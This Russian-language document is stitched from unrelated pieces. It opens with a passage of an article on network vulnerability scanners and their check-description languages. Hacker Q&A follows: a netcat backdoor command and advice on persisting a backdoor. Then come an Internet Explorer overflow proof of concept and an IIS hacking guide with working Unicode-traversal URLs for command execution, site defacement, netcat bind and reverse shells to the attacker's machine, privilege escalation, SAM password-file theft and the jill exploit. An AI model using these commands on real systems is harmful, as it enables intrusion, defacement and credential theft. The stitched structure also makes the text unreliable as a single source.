Достоинства сканирования на уровне ОС кроются в прямом доступе к низкоуровневым возможностям ОС хоста, конкретным сервисам и деталям конфигурации. Тогда как сканер сетевого уровня имитирует ситуацию, которую мог бы иметь внешний злоумышленник, сканер системного уровня может рассматривать систему со стороны пользователя, уже имеющего доступ к анализируемой системе и имеющего в ней учетную запись. Это является наиболее важным отличием, поскольку сетевой сканер по определению не может предоставить эффективного анализа возможных рисков деятельности пользователя.

Многие сканеры используют более чем один метод проверки одной и той же уязвимости или класса уязвимостей. Однако в случае большого числа проверок использование нескольких методов поиска одной уязвимости привносит свои проблемы. Связано это со скоростью проведения сканирования.

Например, различие между системами CyberCop Scanner и Internet Scanner в том, что разработчики из NAI никогда не добавят в свой продукт проверку, если не могут с уверенностью сказать, что проверка надежно обнаруживает уязвимость. В то время как разработчики ISS пополняют свою базу даже в том случае, если их проверка обнаруживает уязвимость с некоторой точностью. Затем, уже после выпуска системы, происходит возврат к разработанным проверкам, их улучшение, добавление новых механизмов осуществления проверок той же уязвимости для повышения достоверности, и т.д. Достаточно спорный вопрос, что лучше. С одной стороны лучше, когда вы с уверенностью можете сказать, что на анализируемом узле определенной уязвимости нет. С другой, даже если существует хоть небольшой шанс, что вы можете обнаружить уязвимость, то надо этим шансом воспользоваться. В любом случае наиболее предпочтительным является проверка типа "имитация атак", которая обеспечивает наибольший процент точного обнаружения уязвимостей.

Не все проверки, разработанные в лабораторных условиях, функционируют так, как должны. Даже, несмотря на то, что эти проверки тестируются, прежде чем будут внесены в окончательную версию сканера. На это могут влиять некоторые факторы:

В таких случаях автоматическая проверка может пропустить уязвимость, которая легко обнаруживается вручную и которая может быть широко распространена во многих системах. Проверка заголовка в совокупности с активным зондированием в таком случае может помочь определить подозрительную ситуацию, сервис или узел. И хотя уязвимость не обнаружена, еще не значит, что ее не существует. Необходимо другими методами, в т.ч. и неавтоматизированными, исследовать каждый подозрительный случай.

Разница в реализации

Системы различных производителей могут использовать различные методы поиска одной и той же уязвимости, что может привести к ее нахождению в случае использования одного средства и ненахождения - в случае другого. Хорошую ассоциацию приводит ведущий разработчик системы Internet Scanner Девид ЛеБлан. "Если вы спросите меня - дома мой товарищ или нет, я просто позвоню ему. Если его телефон не отвечает, то я позвоню вам и сообщу, что его нет дома. Затем вы идете к нему домой, стучите в дверь и он отвечает. Не называйте меня лжецом только из-за того, что то, что я пытался сделать не сработало. Возможно, я был не прав или необходимо было использовать другие методы, но я пытался сделать то, что считал нужным". Так и со средствами поиска уязвимостей.

Кроме того, если в созданном отчете не сказано о той или иной уязвимости, то иногда стоит обратиться к журналам регистрации (log) системы анализа защищенности. В некоторых случаях, когда сканер не может со 100%-ой уверенностью определить наличие уязвимости, он не записывает эту информацию в отчет, однако сохраняет ее в логах. Например, анализ и разбор поля sysDescr в журнале регистрации системы Internet Scanner существенно помогает во многих спорных случаях.

Существуют различия и между тем, как влияет одна и та же проверка на различные версии сервисов в различных операционных системах. Например, использование учетной записи halt для демона Telnet на некоторых компьютерах под управлением Unix или Windows NT не приведет к плачевным последствиям, в то время как на старых версиях Unix это вызовет запуск команды /bin/halt при попытке доступа к удаленной системе с использованием этой учетной записи.

Перспективы развития

С 1992 года, когда появился первый сканер SATAN, существенно изменились требования к такого рода средствам. Сейчас уже недостаточно, чтобы система анализа защищенности обладала только обширной базой уязвимостей. Поэтому производители стали расширять функциональность своих продуктов за счет добавления следующих возможностей.

Автоматическое обновление уязвимостей

До недавнего времени пополнение сканера новыми уязвимостями проводилось достаточно редко (1 раз в месяц и реже). При этом под пополнением понималось обновление всей системы анализа защищенности, т.е. получение новой версии программного обеспечения.

Сейчас ситуация меняется. В некоторых системах, например, HackerShield существует возможность автоматического обращения через Internet к Web-серверу компании-производителя и загрузка с него новых уязвимостей. При этом соединение с сервером может производиться как по требованию оператора системы, так и по заданному расписанию.

Единый формат базы уязвимостей

В целях унификации и возможной интеграции систем анализа защищенности в настоящий момент ведутся работы по созданию единого для всех сканеров формата базы уязвимостей. И хотя работа эта только началась и ей далеко до своего завершения, первые шаги уже сделаны. Например, лаборатория COAST в университете Purdue разработала проект такой базы данных. Одна из проблем, с которой пришлось столкнуться исследователям, - это описание уязвимостей и их проверок (атак).

Языки описания уязвимостей и проверок

Попытки добавить механизмы описания уязвимостей и проверок в системы анализа защищенности велись давно. Они предпринимались практически всеми компаниями-разработчиками. Первая такая попытка была предпринята Витсом Венема и Деном Фармером - разработчиками системы SATAN. Описание новых уязвимостей, точнее их проверок, осуществлялось при помощи языка Perl. Это достаточно нетривиальная задача требовала обширных знаний как языка Perl, так и архитектуры стека протоколов TCP/IP и сканируемой операционной системы. По этому же пути (использование Perl) пошли разработчики системы WebTrends Security Analyzer. В приложении 1 приведен пример проверки, позволяющей определить тип операционной системы сканируемого узла. Язык Perl, наряду с языком C, используется и в системе Internet Scanner. Причем помимо возможностей, встроенных в саму систему Internet Scanner, компания ISS поставляет отдельную систему описания атак APX (Advanced Packets eXchange).

Другим языком, используемым при описании осуществляемых проверок, стал Tcl. Модификации этого языка используются в системах APX (бесплатное приложение к системе Internet Scanner), Security Manager и CyberCop Scanner. Компания Network Associates последовала примеру компании ISS и выделила механизм описания уязвимостей в отдельную систему CyberCop CASL (Custom Audit Scripting Language). Также как и APX, система CyberCop CASL может функционировать под управлением ОС Windows NT и Unix (Linux для CASL и Solaris для APX).

В системах APX и CASL описываются параметры сетевых пакетов, при помощи которых моделируются различные атаки. К таким параметрам можно отнести флаги в заголовке IP-пакета, номера портов в заголовке TCP-пакета, поля данных в пакетах различных протоколов и т.д. В качестве примера (Приложение 2) можно привести проверку возможности осуществления подмены пакетов (Spoofing).

Однако наиболее удобным с точки зрения конечного пользователя (не программиста) является язык VDL (Vulnerability Descriptive Language) и VEL (Vulnerability Exploit Language), разработанный компанией Cisco. Проверки, описываемые этими языками, основаны на простых логических утверждениях, и пользователь может добавлять правила, если он видит, что они необходимы. Примером такого правила может быть:

# Секция описания сервисов: На анализируемом узле найден netstat

port 15 using protocol tcp => Service:Info-Status:netstat

Данная проверка описывает правило, которое определяет наличие сервиса netstat на 15-ом TCP-порту анализируемого узла. Более сложное следующее правило определяет наличие запущенного приложения SuperApp устаревшей версии по заголовку, возвращаемому на запрос, обращенный к портам 1234 или 1235.

# Пользовательская проверка: Приложение SuperApp 1.0 запущено на сканируемом хосте.

(scanfor "SuperApp 1.0" on port 1234) || (scanfor "SuperApp 1.0 Ready" on port 1235) => VULp:Old-Software:Super-App-Ancient:10003

Данная потенциальная уязвимость (VULp) относится к типу "устаревшее (потенциально уязвимое) программное обеспечение" (Old-Software) и носит название Supper-App-Ancient, задаваемое пользователем. Число 10003 определяет уникальный номер записи в базе данных уязвимостей системы NetSonar (NSDB).

Механизм описания своих проверок и уязвимостей является очень полезной возможностью для администраторов, отслеживающих уязвимости, описанные в Bugtraq и иных списках рассылки.Эта возможность позволяет быстро записать новое правило и использовать его в своей сети. Однако можно заметить, что язык, используемый в системе NetSonar и описывающий эти правила, достаточно элементарен и может помочь только в самых простых случаях. В сложных ситуациях, когда проверку нельзя записать одним правилом, необходимо использовать более сложные сценарии, которые достигаются применением языков Perl, Tcl и C.

Необходимо заметить, что хотя данная возможность и является полезной, ее эффективность достаточно эфемерна. В своей практической деятельности мне не приходилось встречаться с организациями, которые могли бы себе позволить содержать целый штат или одного сотрудника, занимающихся исследованиями в области новых проверок и уязвимостей (я не беру в расчет силовые ведомства и иные организации, работающие в области защиты информации). Как правило, человек, отвечающий за обеспечение безопасности, не обладает глубокими познаниями в программировании. Кроме того, помимо анализа защищенности на нем "висит" еще много других задач (контроль пользователей, установка прав доступа и т.д.), и он просто не имеет времени для такой творческой работы, как описание новых проверок.

Заключение

Использовать такого рода средства надо. Но хочу еще раз заметить, что не стоит считать их панацеей от всех бед. Они ни в коем случае не заменяют специалистов в области безопасности. Они всего лишь автоматизируют их работу, помогая быстро проверить сотни узлов, в т.ч. и находящихся на других территориях. Они помогут вам обнаружить практически все известные уязвимости и порекомендовать меры, их устраняющие. Они автоматизируют этот процесс, а с учетом возможности описания своих собственных проверок, помогут эффективно применять их в сети любой организации, учитывая именно вашу специфику.

Надо помнить, что сканер - это всего лишь часть эффективной политики безопасности сети, которая складывается не только из применения различных технических мер защиты (средств анализа защищенности, систем обнаружения атак, межсетевых экранов и т.п.), но и из применения различных организационных и законодательных мер.

Приложение 1. Пример проверки, осуществляемой системой WebTrends Security Analyzer

<TestAuthor> WebTrends Corporation </TestAuthor>

<TestCopyright> Copyright 1998, WebTrends Corporation, All Rights Reserved. 
</TestCopyright>

<TestVersion> 2.0 </TestVersion>

====================================================================

<TestDependency>estabvc</TestDependency>

<TestCategory>inventory</TestCategory>

====================================================================

<TestTitle>Query OS Type via Netbios</TestTitle>

<TestVulnerabilityDescription>
This test attempts to determine the operating system type and version 
running on the specified hosts.
</TestVulnerabilityDescription>

====================================================================

<Test>

# osdetectnt.pl
# attempt to detect OS using a netbios over tcp/ip call

require "crowbar.pl";

$theTargetNetbiosName = GetStringParam($crowbar::WTDB_NetbiosName);
crowbar::WTDebugOutput
	("OSDetect -- the target netbios name is $theTargetNetbiosName");

if($theTargetNetbiosName){
	$a = crowbar::WTGetNTOSInfo($theTargetNetbiosName);
    if($a){
        $a =~ /^OSTYPE (.*):VERSION (.*)/;
        $type = $1;
        $version = $2;
        crowbar::WTDebugOutput("Type is $type, version is $version\n");
        if($version =~ m/OSVersion_Unknown/){
            crowbar::WTAddRecord( $crowbar::WTDB_OSVersion, 
            		length("Unknown") + 1, 
            		"Unknown", -1);
        }
        elsif($version =~ m/OSVersion_WindowsNT_3_5_0/){
            crowbar::WTAddRecord( $crowbar::WTDB_OSVersion, 
            		length("Version 3.5") + 1, 
            		"Version 3.5", -1);
        }
        elsif($version =~ m/OSVersion_WindowsNT_3_5_1/){
            crowbar::WTAddRecord( $crowbar::WTDB_OSVersion, 
            		length("Version 3.51") + 1, 
            		"Version 3.51", -1);
        }
        elsif($version =~ m/OSVersion_WindowsNT_4_0/){
            crowbar::WTAddRecord( $crowbar::WTDB_OSVersion, 
            		length("Version 4.0") + 1, 
            		"Version 4.0", -1);
        }
        elsif($version =~ m/OSVersion_WindowsNT_5_0/){
            crowbar::WTAddRecord( $crowbar::WTDB_OSVersion, 
            		length("Version 5.0") + 1, 
            		"Version 5.0", -1);
        }

        if($type =~ m/OSType_Unknown/){
            crowbar::WTAddRecord( $crowbar::WTDB_OSType, 
            		length("Unknown") + 1, 
            		"Unknown", -1);
        }
        elsif($type =~ m/OSType_Unix/){
            crowbar::WTAddRecord( $crowbar::WTDB_OSType, 
            		length("Unix Server") + 1, 
            		"Unix Server", -1);
        }
        elsif($type =~ m/OSType_WindowsNTServer/){
            crowbar::WTAddRecord( $crowbar::WTDB_OSType, 
            		length("Windows NT Server") + 1, 
            		"Windows NT Server", -1);
        }
        elsif($type =~ m/OSType_WindowsNTPDC/){
            crowbar::WTAddRecord( $crowbar::WTDB_OSType, 
            		length("Windows NT Primary Domain Controller") + 1, 
            		"Windows NT Primary Domain Controller", -1);
        }
        elsif($type =~ m/OSType_WindowsNTBDC/){
            crowbar::WTAddRecord( $crowbar::WTDB_OSType, 
            		length("Windows NT Backup Domain Controller") + 1, 
            		"Windows NT Backup Domain Controller", -1);
        }
        elsif($type =~ m/OSType_WindowsNTWorkstation/){
            crowbar::WTAddRecord( $crowbar::WTDB_OSType, 
            		length("Windows NT Workstation") + 1, 
            		"Windows NT Workstation", -1);
        }
        elsif($type =~ m/OSType_WindowsNT/){
            crowbar::WTAddRecord( $crowbar::WTDB_OSType, 
            		length("Windows NT") + 1, 
            		"Windows NT", -1);
        }
        elsif($type =~ m/OSType_Windows95/){
            crowbar::WTAddRecord( $crowbar::WTDB_OSType, 
            		length("Windows 95/98") + 1, 
            		"Windows 95/98", -1);
        }
        elsif($type =~ m/OSType_Windows98/){
            crowbar::WTAddRecord( $crowbar::WTDB_OSType, 
            		length("Windows 98") + 1, 
            		"Windows 98", -1);
        }
    }
}
</Test>

Приложение 2. Пример проверки, осуществляемой системой CyberCop CASL

# spoof_check.cape

# this script is used by the built-in filter checks
# please do not modify it
ip
ip_version=4
ip_proto=IPPROTO_UDP
ip_flags=0
ip_id=42
ip_done

udp
udp_sport=6834
udp_dport=5574
udp_done

data=SAS-ipspoofing

end_of_packet

Q: В локалке, которую я изучаю, установлен фаервол, отфильтровывающий все соединения, кроме 80-го порта (21-го порта). Как я могу оставить лазейку, ведь мой самописный бэкдор слушает порт 31337, который фаерволом закрыт, а открытый 80-й (21-й) занят вебсерваком (фтп-сервером)?

A: Попробуй использовать такую утилиту, как неткат. Она позволяет прослушивать даже те порты, которые заняты приложением. Когда клиент коннектится на позволительный 80-ый (21-ый) порт, он получает консоль удаленной системы. Запуск нетката на винтуке: nc.exe -L -t -vv -e cmd.exe.

Q: Поставил на шелл свой бэкдор, но ведь после перезагрузки он прибьется. Куда его прописать так, чтобы он запускался после перезагрузки?

A: Прописать можно во многие места. Например, во всех UNIX-подобных системах есть такая удобная вещь, как crond. В Linux в /etc/rc.d лежит огромное количество скриптов. Эти скрипты запускаются при переходе системы на другой runlevel. Ну и, наконец, *BSD. В /etc лежат различные rc.local, rc.network. Вот в них-то и можно записать.

Q: Я часто слышу про каких-то кисок, кошек, цицок и т.д. Что это такое и зачем это надо?

A: Так обычно называют роутеры фирмы CISCO. Роутер - это такой девайс, который занимается маршрутизацией пакетов. Обычно роутеры ставятся для объединения нескольких локальных сетей или в качестве шлюза/firewall'а между локальной сетью и интернетом. Помимо CISCO, роутеры выпускают 3COM, NOKIA, Motorola. Роутеры имеют свою собственную операционную систему, например роутеры CISCO - IOS. Практических применений у роутеров очень много. Начнем с того, что к роутеру обычно подведен канал с достаточно большой пропускной способностью. Таким образом, возможно проведение элементарной DoS-атаки, просто посылая ping-запросы. С другой стороны, имея возможность настраивать роутинг, мы можем скрыть свое пребывание в сети, а настраивая фаервол, можно расширить возможный доступ к ресурсам сети.

Q: Я нашел странный комп. Если к нему подключаться на 31337-й порт, то он пытается установить ppp'шную сессию. Как я могу туда подключиться при помощи винды или никсов?

A: В винде тебе понадобится утилита comip. Она позволяет создать на компьютере эмуляцию модема, которому в качестве номера задается IP и порт для соединения. Далее программа установит соединение, и тебе останется лишь настроить роутинг в новой сетке. С никсами интереснее. Рассмотрим весь этот процесс на примере *BSD. Там есть стандартная утилита "ppp". Запускаешь ее, получаешь приглашение типа "ppp>". Далее необходимо задать девайс, через который будешь подключаться "set device <gateway address>:<port>". Теперь переходишь в терминальный режим "term". Как только удаленный хост попытается установить с тобой ppp-сессию, утилита выйдет из терминального режима, и ты увидишь примерно следующее: "ppp", "Ppp", "PPp", "PPP>". Все, соединение успешно установлено. Теперь делаешь "ifconfig -a", и смотришь, на каком интерфейсе у тебя появился новый адрес. Скорее всего, это tun0 или ppp0. Далее настраиваешь роутинг, и все.

Утилита ping посылает запрос ICMP ECHO_REQUEST на некоторый хост. Если точнее, основной задачей утилиты ping является выяснение состояния некоторого хоста в сети. Если хост принимает ECHO_REQUEST, то в ответ он посылает ECHO_REPLY. Утилита ping получает этот ответ и генерирует статистику. Это и есть ОСНОВНОЕ предназначение ping.

smurf - это одна из разновидностей DoS (Denial of Service) атак. Дело в том, что существуют так называемые broadcast адреса. И при некорректной конфигурации пакет, пришедший на этот адрес, разошлется всем машинам в подсети. Таким образом, каждая машина отправит свой ответ на запрос. А теперь представь, если кто-то подменит свой обратный адрес, и все пакеты (а их могут послать сотни компьютеров) вернутся на одну машину со слабым каналом. Тачка просто лишится доступа к Сети.

 В многопользовательских системах существует идентификатор пользователя и идентификатор группы. Эти идентификаторы и есть uid (user id) и gid (group id). Права пользователя определяются именно по ним. В UNIX-подобных системах пользователь с uid равным нулю называется super-пользователь, так как для него отсутствуют ограничения в системе. Это и есть всем известный root.

Надо отметить, что помимо uid'а и gid'а, существуют euid и egid. Они определяют права, с которыми запущено приложение. При выставлении suid бита, приложение будет запущено с правами владельца файла. Например, если рут сделает программе bash владельца root:wheel, а потом chmod +s bash, то при запуске bash мы получим root шелл. Многим сетевым сервисам необходимо устанавливать suid'ный бит, так как они должны обращаться к портам <1024. Также бывает, что на некоторых разделах диска нельзя создавать suid'ные файлы. Это связано с тем, что данный раздел был смонтирован с опцией nosuid.

Дата: 22 Июня 2003      Internet Explorer >=5.0 : Buffer overflow

Автор: Digital Scream <digitalscream@real.xakep.ru>

Описание: Попытка выполнения нижеследующего кода в браузерах Internet Explorer версий выше 5.0 вызовет переполнение буфера:

<script>

wnd=open("about:blank","","");

wnd.moveTo(screen.Width,screen.Height);

WndDoc=wnd.document;

WndDoc.open();

WndDoc.clear();

buffer="";

for(i=1;i<=127;i++)buffer+="X";

buffer+="DigitalScream";

WndDoc.write("<HR align='"+buffer+"'>");

WndDoc.execCommand("SelectAll");

WndDoc.execCommand("Copy");

wnd.close();

</script>

Кстати, это переполнение стека, которое может позволить выполнение кода. Такой код для обозначенной выше уязвимости написал 3APA3A. Читайте его статью в рассылке bugtraq: `PoC for Internet Explorer >=5.0 buffer overflow'.

РУКОВОДСТВО ПО ВЗЛОМУ IIS СЕРВЕРА. [ by GipsHackers Crew ]

Я не думал, что уязвимости типа unicode или чрезмерного декодирования серверов IIS до сих пор актуальны, но попавшиеся несколько серверов с такими багами в течение одного месяца меня переубедили =)

Вообще серверов на IIS в сети достаточное количество, и многие из них без установленных заплаток. В этой статье мы попытаемся осветить основные уязвимости дырявых M$ серверов и методы их взлома. Мы постараемся давать поменьше теории. Но пару слов все-таки надо написать. Не без этого.

Собственно, начнем с тех самых уязвимостей, получивших в массах общее название "юникод-баг".

ЧАСТЬ 1. UNICODE BUG

Обход каталогов. Иногда неверно настроенный веб-сервер (например, тот же апач) позволяет выходить за каталог веб-сервера:

http://www.victim.com/../../

Но не все так просто. В IIS это дело пресекается. Пресекается, но не совсем.Хакер RFP (Rain Forest Ruppy) обнаружил, что если символы / и \ передать в кодировке юникод, то сервер их пропускает, потому что проверка Unicode выполняется после, а не до проверки пути. Как перекодировать? Самый простой

пример для наглядности:

\ = %5с

После того, как эту уязвимость вроде как прикрыли, было обнаружено, что можно еще раз закодировать, и это опять пройдет:

% в кодировке юникод соответствует %25

Теперь %5с можем заменить на %255c. Ну, и таких замен можно делать массу.Поэтому и существует множество разных кодов того, что называют в народе unicode bug (сюда же относят и баг чрезмерного декодирования, который не убирается (!) заплаткой SP2). А дальше все просто. Через обход каталогов мы выходим на командный интерпретатор cmd.exe и выполняем через него произвольные команды на

сервере (например, простейшие команды ДОС: dir – листинг директории, type – вывод содержимого файла, copy – копирование, del - удаление). Например, листинг диска С можно получить, запросив подобный URL (будем тренироваться на www.microsoft.net, т.к. microsoft.com, кажется уже давно не на IIS сидит):

http://www.microsoft.net/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\

Баг есть. Что дальше?

Самое простое, что обычно хотят сделать - дефейс сайта (о более серьезных вещах поговорим далее). Итак, что нужно для замены главной страницы?

Первое - узнать где расположена папка веб-сервера. Т.е. где лежат документы сайта и наш желанный index.html (.htm, .php, .asp). Кстати, на IIS обычно это не index, а default (расширения см.выше).

При установленном на сервере PHP можно попытаться сделать запрос к несуществующему скрипту (или иногда результат дает обращение к существующему скрипту с некорректными параметрами), в результате чего возможно нам скажут что-то вроде:

Warning: Failed opening 'C:\InetPub\wwwroot\nonexist.php' for inclusion

(include_path='c:/temp') in Unknown on line 0,

Самый надежный способ – при помощи команды set.

http://www.microsoft.net/scripts/..%255c../winnt/system32/cmd.exe?/c+set+p

В результате вы получите массу всякой информации, среди которой будет строка PATH_TRANSLATED. Вот тут и указывается путь к веб-сайту. Стандартно это выглядит так:

PATH_TRANSLATED=c:\inetpub\wwwroot

Кстати, если вам скажут, что unicode bug не работает, если веб-сайт расположен не на системном томе (внимание, админ!), то это ерунда. Да, я понимаю, что логика подсказывает: не может быть. Еще раз повторю: ерунда!.. может. Сам видел. Хакер тем и отличается от обычных людей, что мозги у него немного не так

устроены: он не верит устойчивым стереотипам =)

Вернемся к дефейсу. У нас есть одна проблема. Наш cmd.exe не может организовать стандартный вывод через символ >. Решаем эту проблему: копируем командный интерпретатор с другим именем (имя должно отличаться – пусть это будет хоть cmd1.exe, хоть root.exe (как это делает Nimda), но только не cmd.exe). Куда

копировать? Можно быть уверенным, что у нас есть доступ к корню C:\

Копируем:

http://www.microsoft.net/scripts/..%255c../winnt/system32/cmd.exe?/c+copy+c:\ winnt\system32\cmd.exe+c:\cmd1.exe

/часто рекомендуют копировать в каталоги, которые имеют права на исполнение, мол уменьшается сразу путь и т.п. – Лишняя трата времени. Можно замучаться,перепробуя все каталоги, а потом окажется, что ничего не открыто на запись/

Вот, теперь мы можем создавать файлы, а значит, мы недалеки от цели. Ну что,пробуем, можем ли мы дефейсить? Plain-text пойдет?

Тогда делаем так:

http://www.microsoft.net/scripts/..%255c../cmd1.exe?/c+echo+hacked by DEFACED

aliance+>c:\inetpub\wwwroot\default.htm

Ничего не получилось? Пробуем, есть ли у нас возможность вообще записывать в wwwroot:

www.microsoft.net/scripts/..%255c../cmd1.exe?/c+wcho+hi+>c:\inetpub\wwwroot\1.txt

Смотрим, появился ли наш файл:

www.microsoft.net/scripts/..%255c../cmd1.exe+dir+c:\inetpub\wwwroot\

Если ничего не получилось или просто мы хотим чего-то больше нежели дефейс (или красивый дефейс). Вот тут начинается самое интересное.

Нам надо загрузить файлы на сервер. Это можно сделать несколькими путями.Рассмотрим только самые практичные:

1. Если у нас есть взломанный ftp сервер Впрочем, не обязательно взломанный. Нам просто нужен ftp сервер, на который мы могли бы закачать файлы, а потом с него их скачать. Большинство бесплатных

серверов этого делать не позволяют.

Допустим у нас есть логин и пароль к серверу ftp.bolshevik.com: login: partizan & password: beyfashistov. Давайте закачем на него файл нашего дефейса default.htm. Теперь нам нужно его слить на сервер жертвы.

Сделаем на нашем IIS сервере текстовый файл (допустим, temp.txt) такого содержания:

open ftp.bolshevik.com

user partizan

beyfashistov

get default.htm

bye

Этот файл мы скормим программе ftp.exe в качестве параметра для работы. Все это можно сделать в одном урле:

http://www.microsoft.net/scripts/..%255c../cmd1.exe+echo+open+ftp.bolshevik.com+>c:\temp.txt

&&echo+user+partizan+>>c:\temp.txt&&echo+beyfashistov+>>c:\temp.txt&&echo+get+default.htm+>>

c:\temp.txt&&echo+bye+>>c:\temp.txt&&ftp+-s:c:\temp.txt

Небольшие пояснения:

А) мы создаем файл c:\temp.txt

Б) запускаем ftp.exe с флагом –s, которому передаем как параметр путь к файлу c:\temp.txt, из которого фтп должен брать команды для выполнения (можно еще добавить флаги –nd). В принципе, тут бы сперва поэкспериментировать на своей машине, сработают ли корректно команды для фтп: возможно нужно будет добавить pass перед указанием пароля:

pass beyfashistov

Если все сработало, убираем лишние следы:

cmd1.exe?/c+del+c:\temp.txt

Потом копируем наш дефейс в папку wwwroot.

2. Если у нас есть расшаренный ресурс

Я имел в виду, что у нас есть найденный в сети чей-то доступный ресурс (c правами на запись). Допустим для примера, что найден доступный на запись:

\\194.168.288.34\c

Тогда на сервере IIS даем такую команду:

http://www.microsoft.net/scripts/..%255c../cmd1.exe?/c+net+use+x:+\\194.168.288.34\c

Проверим, виден ли диск: dir+x:\

Если все нормально, тогда можем использовать диск Х. Копируем туда, все что нужно… Итак, дефейс сделан. Теперь удалим лишние следы.

Отсоединяем диски:

http://www.microsoft.net/scripts/..%255c../cmd1.exe?/c+net+use+*+/delete+/yes

3. За нас уже все сделали.

Есть довольно интересные perl сценарии, которые облегчают основную часть работы.

Нам нужно знать только сам баг и директорию, доступную на запись и выполнение (можно поэкспериментировать с этими:

msadc

scripts

_vti_bin

_vti_cnf

samples

cgi-bin

iisadmpwd

adsamples

Итак, у нас четыре скрипта:

unicodeloader.pl

upload.asp

upload.inc

unicodexecute3.pl

Первые три должны быть в одной директории. Чуток подправим unicodeloader.pl (добавим наш код бага, если его там нет) и запускаем его (как параметр нужно указать директорию, доступную на запись):

perl unicodeloader.pl www.microsoft.net:80 c:\inetpub\wwwroot

И смотрим, что нам напишут =). Если все в порядке, то скрипт распишет как он пытается использовать уязвимость, а в конце:

……………………………………………………………

Upload page created.

Files will be uploaded to c:\inetpub\wwwroot

Теперь пробуем открыть созданную страницу:

http://www.microsoft.net/upload.asp

Вот, мы можем свободно загружать на сервер любые файлы через веб-интерфейс.

Что первым делом загрузить? Без раздумий можно сказать: утилиту net cat (nc.exe).

После этого мы используем другой скрипт из комплекта:

perl unicodexecute3.pl www.microsoft.net:80 c:\inetpub\wwwroot\nc -l -p 80 -e cmd.exe

Теперь у нас есть нормальный shell. Просто телнетимся на 80-й порт жертвы. Этот метод очень удобен еще и тогда, когда firewall ограничивает доступ (ни каких ftp, tftp или RCP).

На всякий случай распишем как можно было еще установить обратную связь с помощью netcat. Допустим, мы хотим установить связь по порту 31337. Запускаем на своем компе nc (с анонимностью будут проблемы =)):

C:\>nc –l –p 31337

Затем на сервере устанавливаем связь с нашей машиной (даем только командную строку, как это все запустить на сервере понятно из предыдущего примера):

C:\inetpub\wwwroot\nc.exe –v –e cmd.exe наш_IP 31337

Все. У нас опять нормальный шелл...

4. Дефейс не получается. Что делать?

Итак, у нас есть shell. Но мы не можем дефейснуть сайт, потому что админ ограничил наши права. Что же нам остается сделать, как не самим стать админом?!

РАСШИРЕНИЕ ПРИВЕЛЕГИЙ

Мы работаем в контексте гостевой учетной записи (IUSR_имя_машины или IWAM_имя машины). Для IIS 4 есть утилита hk.exe, которая использует LPC (Local Procedure Call), которая в свою очередь работает в контексте системной учетной записи. С ее помощью можно выполнять любые команды, в т.ч. и добавить себя в группу

администраторов (я уже не говорю о дефейсе):

hk.exe net localgroup administrators IUSR_имя_машины /add

(возможно и так: hk.exe net localgroup administrators /add IUSR_имя_машины)

Для IIS 5 эта штука не годится. Для win2k нужно брать iis5crack.dll, которая использует функцию RevertToSelf (эта функция может приводить к выполнению команд в контексте системной учетной записи, запрашивая текущий поток перейти из IUSR в SYSTEM). Достаточно ее загрузить на сервер с именем одной из dll'ок, которым разрешена эта функция:

idq.dll

httpext.dll

httpodbc.dll

ssinc.dll

msw3prt.dll

author.dll

admin.dll

shtml.dll

Затем запускаем ее в окне броузера и можем опять-таки выполнять команды с правами system…

Есть еще одна очень интересная программка, которая использует те же dll. Это iscp. Что бы получить административный доступ к серверу с ее помощью, нужно скопировать, скажем idq.dll, в каталог, например scripts. После этого:

C:\>iscp www.microsoft.net/scripts/ idq.dll 80

Далее нужно будет пару раз нажать ENTER, когда нас попросят. Вот мы и стали админом =)

В принципе, мы забыли сказать еще об одном стандартном приеме получения привелегий. Скорее всего, это первое, что нужно было бы проверить на дырявом сервере. Файл паролей НТ - sam. Иногда его можно скопировать в веб папку и потом скачать.Вернее, скопировать можно не его самого, а системный бекап, хранящийся в папке winnt/repair. Для НТ 4 это sam._, а для win2k просто sam. Пробуем

скопировать:

http://www.microsoft.net/scripts/..%255c../cmd1.exe?/c+copy+c:\winnt\repair\sam+c:\winnt\wwwroot\

Затем просто скачиваем его:

http://www.microsoft.net/sam

и расшифровываем при помощи LC (L0phtCrack).

ЧАСТЬ 2. ПАРА СТАРЫХ УЯЗВИМОСТЕЙ.

Одна из нашумевших в свое время уязвимостей - IDQ .Printer Overflow,использовавшаяся червем codered. Суть найденной eEye Digital Security уязвимости заключается в переполнении буфера в фильтре ISAPI при передаче в HTTP запросе к файлу с расширением .printer более 420 символов в поле HOST. Самое интересное, что не обязательно делать запрос к реально существующему файлу. В протоколе интернет печати (IPP), отвечающая за это dll, вызывает до проверки существования файла.

GET /NULL.printer HTTP/1.0

HOST: [420 символов]

Такой запрос при нормальных условиях подвесит IIS, но win2k автоматом ее перезапускает, т.ч. для пользователя визуально ничего не будет заметно (если только хакер не добивается отказа в обслуживании).

Первый реальный эксплоит под nix назывался jill, который, используя переполнение буфера в IPP, создает обратный шелл на адрес хакера в контексте записи SYSTEM.

Работает это все так. Запустим нашу любимую неткат:

nc -vv -l -p 31337

listening on [any] 31337 ...

Теперь запускаем jill:

jill IP_адрес_жертвы 80 наш_IP 31337

iis5 spyrit / beavuh labs.

Connecting...

Sent...

Если все прошло нормально, получаем у себя в окне nc:

listening on [any] 31337

connect to [наш_IP] from MICROSOFTIISHACKED [IP_адрес_жертвы] 1117

[жмем ENTER]

Microsoft Windows 2000 [Version 5.0.0.2195]

c Copyright 1985-1999 Microsoft Corp.

C:>

Иногда прийдется лишний раз нажимать ENTER - это нормально. Под win32 этот эксплоит был портирован с именем juill-win32. Позже в сети появилась модифицированная версия iis5hack и iishack2000 (под win32):

Серия уязвимостей в ISAPI DLL, раскрывающих исходный код.

Классическая уязвимость +.htr, работающая как на IIS 4, так и на IIS 5.

Добавление +.htr к файлу показывает его исходный код, даже если файл исполняемый (скрипт .asp, .php И т.п.). Например, можно вызвать файл global.asa, который никогда не передается клиенту:

GET /site1/global.asa+.htr HTTP/1.0

[CRLF]

[CRLF]

Запишем все вышеуказанное (запрос) в текстовый файл, скажем glob.txt. Дадим этот файл утилите netcat, натравив ее на уязвимый сервер. Результат будет такой:

C:> nc -vv www.victim.com 80 < glob.txt

www.victim.com [10.15.1.10] 80 (http) open

HTTP/1.1 200 OK

Server: Microsoft-IIS/5.0

Date: Thu, 25 Jan 2001 00:50:17 GMT

("Profiles_ConnectString") = "DSN=profiles;UID=Company_user;Password=secret"

("DB_ConnectString") = "DSN=db;UID=Company_user;Password=secret"

("PHFConnectionString") = "DSN=phf;UID=sa;PWD="

("SiteSearchConnectionString") = "DSN=SiteSearch;UID=Company_user;PWD=simple"

("ConnectionString") = "DSN=Company;UID=Company_user;PWD=guessme"

("eMail_pwd") = "sendaemon"

("LDAPServer") = "LDAP://directory.company.com:389"

